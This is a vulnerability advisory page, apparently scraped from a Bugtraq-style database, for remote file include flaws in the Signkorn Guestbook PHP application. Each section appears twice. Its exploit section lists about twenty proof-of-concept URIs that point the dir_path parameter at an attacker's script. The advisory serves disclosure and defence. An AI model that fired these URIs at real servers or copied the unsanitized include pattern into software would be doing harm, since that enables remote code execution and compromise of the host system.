Telekorn Signkorn Guestbook Dir_Path Multiple Remote File Include Vulnerabilities
BID:19977
CVE-2006-4889 |Info
Telekorn Signkorn Guestbook Dir_Path Multiple Remote File Include Vulnerabilities
| Bugtraq ID: | 19977 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 12 2006 12:00AM |
| Updated: | Sep 14 2006 06:02PM |
| Credit: | ThE_LeO is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
Telekorn Signkorn Guestbook 1.3 Telekorn Signkorn Guestbook 1.2 Telekorn Signkorn Guestbook 1.1 |
| Not Vulnerable: | |
Discussion
Telekorn Signkorn Guestbook Dir_Path Multiple Remote File Include Vulnerabilities
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
Versions 1.3 and earlier are affected by this issue.
Telekorn Signkorn Guestbook is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
Versions 1.3 and earlier are affected by this issue.
Exploit / POC
Telekorn Signkorn Guestbook Dir_Path Multiple Remote File Include Vulnerabilities
An attacker can exploit these issues via a web client.
The following proof-of-concept URIs are available:
http://www.example.Com/[Script]/index.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/includes/functions.gb.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/includes/admin.inc.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/smile.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp0.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp1.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp2.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp3.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp0.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp1.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp2.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp3.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/entry.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/preview.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/log.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/index.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/config.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/admin.php?dir_path=[U r Evil Script] ;
An attacker can exploit these issues via a web client.
The following proof-of-concept URIs are available:
http://www.example.Com/[Script]/index.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/includes/functions.gb.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/includes/functions.admin.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/includes/admin.inc.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/smile.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp0.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp1.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp2.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/en/adminhelp3.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp0.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp1.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp2.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/help/de/adminhelp3.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/entry.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/preview.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/log.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/index.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/config.php?dir_path=[U r Evil Script] ;
http://www.example.Com/[Script]/admin/admin.php?dir_path=[U r Evil Script] ;
Solution / Fix
Telekorn Signkorn Guestbook Dir_Path Multiple Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Telekorn Signkorn Guestbook Dir_Path Multiple Remote File Include Vulnerabilities
References:
References: